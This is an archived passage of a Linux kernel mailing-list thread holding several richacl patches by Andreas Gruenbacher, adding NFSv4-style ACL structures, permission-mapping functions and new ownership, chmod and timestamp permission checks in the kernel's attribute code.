https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Richacls support permissions that allow to take ownership of a file, change the file permissions, and set the file timestamps. Support that by introducing new permission mask flags and by checking for those mask flags in inode_change_ok(). Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/attr.c | 79 +++++++++++++++++++++++++++++++++++++++++++++--------- include/linux/fs.h | 3 +++ 2 files changed, 70 insertions(+), 12 deletions(-) diff --git a/fs/attr.c b/fs/attr.c index 328be71..85483e0 100644 --- a/fs/attr.c +++ b/fs/attr.c @@ -17,6 +17,65 @@ #include /** + * inode_extended_permission - permissions beyond read/write/execute + * + * Check for permissions that only richacls can currently grant. + */ +static int inode_extended_permission(struct inode *inode, int mask) +{ + if (!IS_RICHACL(inode)) + return -EPERM; + return inode_permission(inode, mask); +} + +static bool inode_uid_change_ok(struct inode *inode, kuid_t ia_uid) +{ + if (uid_eq(current_fsuid(), inode->i_uid) && + uid_eq(ia_uid, inode->i_uid)) + return true; + if (uid_eq(current_fsuid(), ia_uid) && + inode_extended_permission(inode, MAY_TAKE_OWNERSHIP) == 0) + return true; + if (capable_wrt_inode_uidgid(inode, CAP_CHOWN)) + return true; + return false; +} + +static bool inode_gid_change_ok(struct inode *inode, kgid_t ia_gid) +{ + int in_group = in_group_p(ia_gid); + if (uid_eq(current_fsuid(), inode->i_uid) && + (in_group || gid_eq(ia_gid, inode->i_gid))) + return true; + if (in_group && inode_extended_permission(inode, MAY_TAKE_OWNERSHIP) == 0) + return true; + if (capable_wrt_inode_uidgid(inode, CAP_CHOWN)) + return true; + return false; +} + +/** + * inode_owner_permitted_or_capable + * + * Check for permissions implicitly granted to the owner, like MAY_CHMOD or + * MAY_SET_TIMES. Equivalent to inode_owner_or_capable for file systems + * without support for those permissions. + */ +static bool inode_owner_permitted_or_capable(struct inode *inode, int mask) +{ + struct user_namespace *ns; + + if (uid_eq(current_fsuid(), inode->i_uid)) + return true; + if (inode_extended_permission(inode, mask) == 0) + return true; + ns = current_user_ns(); + if (ns_capable(ns, CAP_FOWNER) && kuid_has_mapping(ns, inode->i_uid)) + return true; + return false; +} + +/** * inode_change_ok - check if attribute changes to an inode are allowed * @inode: inode to check * @attr: attributes to change @@ -47,22 +106,18 @@ int inode_change_ok(struct inode *inode, struct iattr *attr) return 0; /* Make sure a caller can chown. */ - if ((ia_valid & ATTR_UID) && - (!uid_eq(current_fsuid(), inode->i_uid) || - !uid_eq(attr->ia_uid, inode->i_uid)) && - !capable_wrt_inode_uidgid(inode, CAP_CHOWN)) - return -EPERM; + if (ia_valid & ATTR_UID) + if (!inode_uid_change_ok(inode, attr->ia_uid)) + return -EPERM; /* Make sure caller can chgrp. */ - if ((ia_valid & ATTR_GID) && - (!uid_eq(current_fsuid(), inode->i_uid) || - (!in_group_p(attr->ia_gid) && !gid_eq(attr->ia_gid, inode->i_gid))) && - !capable_wrt_inode_uidgid(inode, CAP_CHOWN)) - return -EPERM; + if (ia_valid & ATTR_GID) + if (!inode_gid_change_ok(inode, attr->ia_gid)) + return -EPERM; /* Make sure a caller can chmod. */ if (ia_valid & ATTR_MODE) { - if (!inode_owner_or_capable(inode)) + if (!inode_owner_permitted_or_capable(inode, MAY_CHMOD)) return -EPERM; /* Also check the setgid bit! */ if (!in_group_p((ia_valid & ATTR_GID) ? attr->ia_gid : @@ -73,7 +128,7 @@ int inode_change_ok(struct inode *inode, struct iattr *attr) /* Check for setting the inode time. */ if (ia_valid & (ATTR_MTIME_SET | ATTR_ATIME_SET | ATTR_TIMES_SET)) { - if (!inode_owner_or_capable(inode)) + if (!inode_owner_permitted_or_capable(inode, MAY_SET_TIMES)) return -EPERM; } diff --git a/include/linux/fs.h b/include/linux/fs.h index aab32c8..ba91a89 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -86,6 +86,9 @@ typedef void (dax_iodone_t)(struct buffer_head *bh_map, int uptodate); #define MAY_CREATE_DIR 0x00000200 #define MAY_DELETE_CHILD 0x00000400 #define MAY_DELETE_SELF 0x00000800 +#define MAY_TAKE_OWNERSHIP 0x00001000 +#define MAY_CHMOD 0x00002000 +#define MAY_SET_TIMES 0x00004000 /* * flags in file.f_mode. Note that FMODE_READ and FMODE_WRITE must correspond -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:42:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7F9BD7F37 for ; Fri, 23 Oct 2015 13:42:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 12520AC003 for ; Fri, 23 Oct 2015 11:42:55 -0700 (PDT) X-ASG-Debug-ID: 1445625772-04cbb0660c3f0f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id gYTHwCHuVuMa2Njp (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:42:53 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 550228C1D6; Fri, 23 Oct 2015 18:42:52 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3eZ026588; Fri, 23 Oct 2015 14:42:46 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 06/49] richacl: In-memory representation and helper functions Date: Fri, 23 Oct 2015 20:41:19 +0200 X-ASG-Orig-Subj: [PATCH v12 06/49] richacl: In-memory representation and helper functions Message-Id: <1445625722-13791-7-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625772 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 A richacl consists of an NFSv4 acl and an owner, group, and other mask. These three masks correspond to the owner, group, and other file permission bits, but they contain NFSv4 permissions instead of POSIX permissions. Each entry in the NFSv4 acl applies to the file owner (OWNER@), the owning group (GROUP@), everyone (EVERYONE@), or to a specific uid or gid. As in the standard POSIX file permission model, each process is the owner, group, or other file class. A richacl grants a requested access only if the NFSv4 acl in the richacl grants the access (according to the NFSv4 permission check algorithm), and the file mask that applies to the process includes the requested permissions. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/Makefile | 2 + fs/richacl_base.c | 67 ++++++++++++++++ include/linux/richacl.h | 179 +++++++++++++++++++++++++++++++++++++++++++ include/uapi/linux/Kbuild | 1 + include/uapi/linux/richacl.h | 99 ++++++++++++++++++++++++ 5 files changed, 348 insertions(+) create mode 100644 fs/richacl_base.c create mode 100644 include/linux/richacl.h create mode 100644 include/uapi/linux/richacl.h diff --git a/fs/Makefile b/fs/Makefile index f79cf40..fe3e9dd 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -48,6 +48,8 @@ obj-$(CONFIG_COREDUMP) += coredump.o obj-$(CONFIG_SYSCTL) += drop_caches.o obj-$(CONFIG_FHANDLE) += fhandle.o +obj-$(CONFIG_FS_RICHACL) += richacl.o +richacl-y := richacl_base.o obj-y += quota/ diff --git a/fs/richacl_base.c b/fs/richacl_base.c new file mode 100644 index 0000000..c3ec928 --- /dev/null +++ b/fs/richacl_base.c @@ -0,0 +1,67 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); + +/** + * richacl_alloc - allocate a richacl + * @count: number of entries + */ +struct richacl * +richacl_alloc(int count, gfp_t gfp) +{ + size_t size = sizeof(struct richacl) + count * sizeof(struct richace); + struct richacl *acl = kzalloc(size, gfp); + + if (acl) { + atomic_set(&acl->a_refcount, 1); + acl->a_count = count; + } + return acl; +} +EXPORT_SYMBOL_GPL(richacl_alloc); + +/** + * richacl_clone - create a copy of a richacl + */ +struct richacl * +richacl_clone(const struct richacl *acl, gfp_t gfp) +{ + int count = acl->a_count; + size_t size = sizeof(struct richacl) + count * sizeof(struct richace); + struct richacl *dup = kmalloc(size, gfp); + + if (dup) { + memcpy(dup, acl, size); + atomic_set(&dup->a_refcount, 1); + } + return dup; +} + +/** + * richace_copy - copy an acl entry + */ +void +richace_copy(struct richace *to, const struct richace *from) +{ + memcpy(to, from, sizeof(struct richace)); +} diff --git a/include/linux/richacl.h b/include/linux/richacl.h new file mode 100644 index 0000000..edb8480 --- /dev/null +++ b/include/linux/richacl.h @@ -0,0 +1,179 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#ifndef __RICHACL_H +#define __RICHACL_H + +#include + +struct richace { + unsigned short e_type; + unsigned short e_flags; + unsigned int e_mask; + union { + kuid_t uid; + kgid_t gid; + unsigned int special; + } e_id; +}; + +struct richacl { + atomic_t a_refcount; + unsigned int a_owner_mask; + unsigned int a_group_mask; + unsigned int a_other_mask; + unsigned short a_count; + unsigned short a_flags; + struct richace a_entries[0]; +}; + +#define richacl_for_each_entry(_ace, _acl) \ + for (_ace = (_acl)->a_entries; \ + _ace != (_acl)->a_entries + (_acl)->a_count; \ + _ace++) + +#define richacl_for_each_entry_reverse(_ace, _acl) \ + for (_ace = (_acl)->a_entries + (_acl)->a_count - 1; \ + _ace != (_acl)->a_entries - 1; \ + _ace--) + +/** + * richacl_get - grab another reference to a richacl handle + */ +static inline struct richacl * +richacl_get(struct richacl *acl) +{ + if (acl) + atomic_inc(&acl->a_refcount); + return acl; +} + +/** + * richacl_put - free a richacl handle + */ +static inline void +richacl_put(struct richacl *acl) +{ + if (acl && atomic_dec_and_test(&acl->a_refcount)) + kfree(acl); +} + +/** + * richace_is_owner - check if @ace is an OWNER@ entry + */ +static inline bool +richace_is_owner(const struct richace *ace) +{ + return (ace->e_flags & RICHACE_SPECIAL_WHO) && + ace->e_id.special == RICHACE_OWNER_SPECIAL_ID; +} + +/** + * richace_is_group - check if @ace is a GROUP@ entry + */ +static inline bool +richace_is_group(const struct richace *ace) +{ + return (ace->e_flags & RICHACE_SPECIAL_WHO) && + ace->e_id.special == RICHACE_GROUP_SPECIAL_ID; +} + +/** + * richace_is_everyone - check if @ace is an EVERYONE@ entry + */ +static inline bool +richace_is_everyone(const struct richace *ace) +{ + return (ace->e_flags & RICHACE_SPECIAL_WHO) && + ace->e_id.special == RICHACE_EVERYONE_SPECIAL_ID; +} + +/** + * richace_is_unix_user - check if @ace applies to a specific user + */ +static inline bool +richace_is_unix_user(const struct richace *ace) +{ + return !(ace->e_flags & RICHACE_SPECIAL_WHO) && + !(ace->e_flags & RICHACE_IDENTIFIER_GROUP); +} + +/** + * richace_is_unix_group - check if @ace applies to a specific group + */ +static inline bool +richace_is_unix_group(const struct richace *ace) +{ + return !(ace->e_flags & RICHACE_SPECIAL_WHO) && + (ace->e_flags & RICHACE_IDENTIFIER_GROUP); +} + +/** + * richace_is_inherit_only - check if @ace is for inheritance only + * + * ACEs with the %RICHACE_INHERIT_ONLY_ACE flag set have no effect during + * permission checking. + */ +static inline bool +richace_is_inherit_only(const struct richace *ace) +{ + return ace->e_flags & RICHACE_INHERIT_ONLY_ACE; +} + +/** + * richace_is_inheritable - check if @ace is inheritable + */ +static inline bool +richace_is_inheritable(const struct richace *ace) +{ + return ace->e_flags & (RICHACE_FILE_INHERIT_ACE | + RICHACE_DIRECTORY_INHERIT_ACE); +} + +/** + * richace_is_allow - check if @ace is an %ALLOW type entry + */ +static inline bool +richace_is_allow(const struct richace *ace) +{ + return ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE; +} + +/** + * richace_is_deny - check if @ace is a %DENY type entry + */ +static inline bool +richace_is_deny(const struct richace *ace) +{ + return ace->e_type == RICHACE_ACCESS_DENIED_ACE_TYPE; +} + +/** + * richace_is_same_identifier - are both identifiers the same? + */ +static inline bool +richace_is_same_identifier(const struct richace *a, const struct richace *b) +{ + return !((a->e_flags ^ b->e_flags) & + (RICHACE_SPECIAL_WHO | RICHACE_IDENTIFIER_GROUP)) && + !memcmp(&a->e_id, &b->e_id, sizeof(a->e_id)); +} + +extern struct richacl *richacl_alloc(int, gfp_t); +extern struct richacl *richacl_clone(const struct richacl *, gfp_t); +extern void richace_copy(struct richace *, const struct richace *); + +#endif /* __RICHACL_H */ diff --git a/include/uapi/linux/Kbuild b/include/uapi/linux/Kbuild index f7b2db4..8c82010 100644 --- a/include/uapi/linux/Kbuild +++ b/include/uapi/linux/Kbuild @@ -348,6 +348,7 @@ header-y += reboot.h header-y += reiserfs_fs.h header-y += reiserfs_xattr.h header-y += resource.h +header-y += richacl.h header-y += rfkill.h header-y += romfs_fs.h header-y += rose.h diff --git a/include/uapi/linux/richacl.h b/include/uapi/linux/richacl.h new file mode 100644 index 0000000..08856f8 --- /dev/null +++ b/include/uapi/linux/richacl.h @@ -0,0 +1,99 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This file is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This file is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + */ + +#ifndef __UAPI_RICHACL_H +#define __UAPI_RICHACL_H + +/* a_flags values */ +#define RICHACL_WRITE_THROUGH 0x40 +#define RICHACL_MASKED 0x80 + +/* e_type values */ +#define RICHACE_ACCESS_ALLOWED_ACE_TYPE 0x0000 +#define RICHACE_ACCESS_DENIED_ACE_TYPE 0x0001 + +/* e_flags bitflags */ +#define RICHACE_FILE_INHERIT_ACE 0x0001 +#define RICHACE_DIRECTORY_INHERIT_ACE 0x0002 +#define RICHACE_NO_PROPAGATE_INHERIT_ACE 0x0004 +#define RICHACE_INHERIT_ONLY_ACE 0x0008 +#define RICHACE_IDENTIFIER_GROUP 0x0040 +#define RICHACE_SPECIAL_WHO 0x4000 + +/* e_mask bitflags */ +#define RICHACE_READ_DATA 0x00000001 +#define RICHACE_LIST_DIRECTORY 0x00000001 +#define RICHACE_WRITE_DATA 0x00000002 +#define RICHACE_ADD_FILE 0x00000002 +#define RICHACE_APPEND_DATA 0x00000004 +#define RICHACE_ADD_SUBDIRECTORY 0x00000004 +#define RICHACE_READ_NAMED_ATTRS 0x00000008 +#define RICHACE_WRITE_NAMED_ATTRS 0x00000010 +#define RICHACE_EXECUTE 0x00000020 +#define RICHACE_DELETE_CHILD 0x00000040 +#define RICHACE_READ_ATTRIBUTES 0x00000080 +#define RICHACE_WRITE_ATTRIBUTES 0x00000100 +#define RICHACE_WRITE_RETENTION 0x00000200 +#define RICHACE_WRITE_RETENTION_HOLD 0x00000400 +#define RICHACE_DELETE 0x00010000 +#define RICHACE_READ_ACL 0x00020000 +#define RICHACE_WRITE_ACL 0x00040000 +#define RICHACE_WRITE_OWNER 0x00080000 +#define RICHACE_SYNCHRONIZE 0x00100000 + +/* e_id values */ +#define RICHACE_OWNER_SPECIAL_ID 0 +#define RICHACE_GROUP_SPECIAL_ID 1 +#define RICHACE_EVERYONE_SPECIAL_ID 2 + +#define RICHACL_VALID_FLAGS ( \ + RICHACL_WRITE_THROUGH | \ + RICHACL_MASKED ) + +#define RICHACE_VALID_FLAGS ( \ + RICHACE_FILE_INHERIT_ACE | \ + RICHACE_DIRECTORY_INHERIT_ACE | \ + RICHACE_NO_PROPAGATE_INHERIT_ACE | \ + RICHACE_INHERIT_ONLY_ACE | \ + RICHACE_IDENTIFIER_GROUP | \ + RICHACE_SPECIAL_WHO ) + +#define RICHACE_INHERITANCE_FLAGS ( \ + RICHACE_FILE_INHERIT_ACE | \ + RICHACE_DIRECTORY_INHERIT_ACE | \ + RICHACE_NO_PROPAGATE_INHERIT_ACE | \ + RICHACE_INHERIT_ONLY_ACE ) + +/* Valid RICHACE_* flags for directories and non-directories */ +#define RICHACE_VALID_MASK ( \ + RICHACE_READ_DATA | RICHACE_LIST_DIRECTORY | \ + RICHACE_WRITE_DATA | RICHACE_ADD_FILE | \ + RICHACE_APPEND_DATA | RICHACE_ADD_SUBDIRECTORY | \ + RICHACE_READ_NAMED_ATTRS | \ + RICHACE_WRITE_NAMED_ATTRS | \ + RICHACE_EXECUTE | \ + RICHACE_DELETE_CHILD | \ + RICHACE_READ_ATTRIBUTES | \ + RICHACE_WRITE_ATTRIBUTES | \ + RICHACE_WRITE_RETENTION | \ + RICHACE_WRITE_RETENTION_HOLD | \ + RICHACE_DELETE | \ + RICHACE_READ_ACL | \ + RICHACE_WRITE_ACL | \ + RICHACE_WRITE_OWNER | \ + RICHACE_SYNCHRONIZE ) + +#endif /* __UAPI_RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:43:00 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DE77129DFA for ; Fri, 23 Oct 2015 13:43:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CD277304059 for ; Fri, 23 Oct 2015 11:43:00 -0700 (PDT) X-ASG-Debug-ID: 1445625779-04cbb0660f3f110001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id DFh96yjJvVwzCxdP (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:42:59 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 0C365C1A127D; Fri, 23 Oct 2015 18:42:59 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3ea026588; Fri, 23 Oct 2015 14:42:52 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 07/49] richacl: Permission mapping functions Date: Fri, 23 Oct 2015 20:41:20 +0200 X-ASG-Orig-Subj: [PATCH v12 07/49] richacl: Permission mapping functions Message-Id: <1445625722-13791-8-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625779 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 We need to map from POSIX permissions to NFSv4 permissions when a chmod() is done, from NFSv4 permissions to POSIX permissions when an acl is set (which implicitly sets the file permission bits), and from the MAY_READ/MAY_WRITE/MAY_EXEC/MAY_APPEND flags to NFSv4 permissions when doing an access check in a richacl. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 118 +++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 3 ++ include/uapi/linux/richacl.h | 44 ++++++++++++++++ 3 files changed, 165 insertions(+) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index c3ec928..a393001 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -65,3 +65,121 @@ richace_copy(struct richace *to, const struct richace *from) { memcpy(to, from, sizeof(struct richace)); } + +/* + * richacl_mask_to_mode - compute the file permission bits from mask + * @mask: %RICHACE_* permission mask + * + * Compute the file permission bits corresponding to a particular set of + * richacl permissions. + * + * See richacl_masks_to_mode(). + */ +static int +richacl_mask_to_mode(unsigned int mask) +{ + int mode = 0; + + if (mask & RICHACE_POSIX_MODE_READ) + mode |= S_IROTH; + if (mask & RICHACE_POSIX_MODE_WRITE) + mode |= S_IWOTH; + if (mask & RICHACE_POSIX_MODE_EXEC) + mode |= S_IXOTH; + + return mode; +} + +/** + * richacl_masks_to_mode - compute file permission bits from file masks + * + * When setting a richacl, we set the file permission bits to indicate maximum + * permissions: for example, we set the Write permission when a mask contains + * RICHACE_APPEND_DATA even if it does not also contain RICHACE_WRITE_DATA. + * + * Permissions which are not in RICHACE_POSIX_MODE_READ, + * RICHACE_POSIX_MODE_WRITE, or RICHACE_POSIX_MODE_EXEC cannot be represented + * in the file permission bits. Such permissions can still be effective, but + * not for new files or after a chmod(); they must be explicitly enabled in the + * richacl. + */ +int +richacl_masks_to_mode(const struct richacl *acl) +{ + return richacl_mask_to_mode(acl->a_owner_mask) << 6 | + richacl_mask_to_mode(acl->a_group_mask) << 3 | + richacl_mask_to_mode(acl->a_other_mask); +} +EXPORT_SYMBOL_GPL(richacl_masks_to_mode); + +/** + * richacl_mode_to_mask - compute a file mask from the lowest three mode bits + * @mode: mode to convert to richacl permissions + * + * When the file permission bits of a file are set with chmod(), this specifies + * the maximum permissions that processes will get. All permissions beyond + * that will be removed from the file masks, and become ineffective. + */ +unsigned int +richacl_mode_to_mask(umode_t mode) +{ + unsigned int mask = 0; + + if (mode & S_IROTH) + mask |= RICHACE_POSIX_MODE_READ; + if (mode & S_IWOTH) + mask |= RICHACE_POSIX_MODE_WRITE; + if (mode & S_IXOTH) + mask |= RICHACE_POSIX_MODE_EXEC; + + return mask; +} + +/** + * richacl_want_to_mask - convert the iop->permission want argument to a mask + * @want: @want argument of the permission inode operation + * + * When checking for append, @want is (MAY_WRITE | MAY_APPEND). + * + * Richacls use the iop->may_create and iop->may_delete hooks which are used + * for checking if creating and deleting files is allowed. These hooks do not + * use richacl_want_to_mask(), so we do not have to deal with mapping MAY_WRITE + * to RICHACE_ADD_FILE, RICHACE_ADD_SUBDIRECTORY, and RICHACE_DELETE_CHILD + * here. + */ +unsigned int +richacl_want_to_mask(unsigned int want) +{ + unsigned int mask = 0; + + if (want & MAY_READ) + mask |= RICHACE_READ_DATA; + if (want & MAY_DELETE_SELF) + mask |= RICHACE_DELETE; + if (want & MAY_TAKE_OWNERSHIP) + mask |= RICHACE_WRITE_OWNER; + if (want & MAY_CHMOD) + mask |= RICHACE_WRITE_ACL; + if (want & MAY_SET_TIMES) + mask |= RICHACE_WRITE_ATTRIBUTES; + if (want & MAY_EXEC) + mask |= RICHACE_EXECUTE; + /* + * differentiate MAY_WRITE from these request + */ + if (want & (MAY_APPEND | + MAY_CREATE_FILE | MAY_CREATE_DIR | + MAY_DELETE_CHILD)) { + if (want & MAY_APPEND) + mask |= RICHACE_APPEND_DATA; + if (want & MAY_CREATE_FILE) + mask |= RICHACE_ADD_FILE; + if (want & MAY_CREATE_DIR) + mask |= RICHACE_ADD_SUBDIRECTORY; + if (want & MAY_DELETE_CHILD) + mask |= RICHACE_DELETE_CHILD; + } else if (want & MAY_WRITE) + mask |= RICHACE_WRITE_DATA; + return mask; +} +EXPORT_SYMBOL_GPL(richacl_want_to_mask); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index edb8480..9102ef0 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -175,5 +175,8 @@ richace_is_same_identifier(const struct richace *a, const struct richace *b) extern struct richacl *richacl_alloc(int, gfp_t); extern struct richacl *richacl_clone(const struct richacl *, gfp_t); extern void richace_copy(struct richace *, const struct richace *); +extern int richacl_masks_to_mode(const struct richacl *); +extern unsigned int richacl_mode_to_mask(umode_t); +extern unsigned int richacl_want_to_mask(unsigned int); #endif /* __RICHACL_H */ diff --git a/include/uapi/linux/richacl.h b/include/uapi/linux/richacl.h index 08856f8..1ed48ac 100644 --- a/include/uapi/linux/richacl.h +++ b/include/uapi/linux/richacl.h @@ -96,4 +96,48 @@ RICHACE_WRITE_OWNER | \ RICHACE_SYNCHRONIZE ) +/* + * The POSIX permissions are supersets of the following richacl permissions: + * + * - MAY_READ maps to READ_DATA or LIST_DIRECTORY, depending on the type + * of the file system object. + * + * - MAY_WRITE maps to WRITE_DATA or RICHACE_APPEND_DATA for files, and to + * ADD_FILE, RICHACE_ADD_SUBDIRECTORY, or RICHACE_DELETE_CHILD for directories. + * + * - MAY_EXECUTE maps to RICHACE_EXECUTE. + * + * (Some of these richacl permissions have the same bit values.) + */ +#define RICHACE_POSIX_MODE_READ ( \ + RICHACE_READ_DATA | \ + RICHACE_LIST_DIRECTORY) +#define RICHACE_POSIX_MODE_WRITE ( \ + RICHACE_WRITE_DATA | \ + RICHACE_ADD_FILE | \ + RICHACE_APPEND_DATA | \ + RICHACE_ADD_SUBDIRECTORY | \ + RICHACE_DELETE_CHILD) +#define RICHACE_POSIX_MODE_EXEC RICHACE_EXECUTE +#define RICHACE_POSIX_MODE_ALL ( \ + RICHACE_POSIX_MODE_READ | \ + RICHACE_POSIX_MODE_WRITE | \ + RICHACE_POSIX_MODE_EXEC) + +/* + * These permissions are always allowed no matter what the acl says. + */ +#define RICHACE_POSIX_ALWAYS_ALLOWED ( \ + RICHACE_SYNCHRONIZE | \ + RICHACE_READ_ATTRIBUTES | \ + RICHACE_READ_ACL) + +/* + * The owner is implicitly granted these permissions under POSIX. + */ +#define RICHACE_POSIX_OWNER_ALLOWED ( \ + RICHACE_WRITE_ATTRIBUTES | \ + RICHACE_WRITE_OWNER | \ + RICHACE_WRITE_ACL) + #endif /* __UAPI_RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:43:07 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F0B317F63 for ; Fri, 23 Oct 2015 13:43:07 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D10B6304059 for ; Fri, 23 Oct 2015 11:43:07 -0700 (PDT) X-ASG-Debug-ID: 1445625786-04cbb0660d3f110001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id i4Elhg6CZsvdCwpY (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:43:06 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com 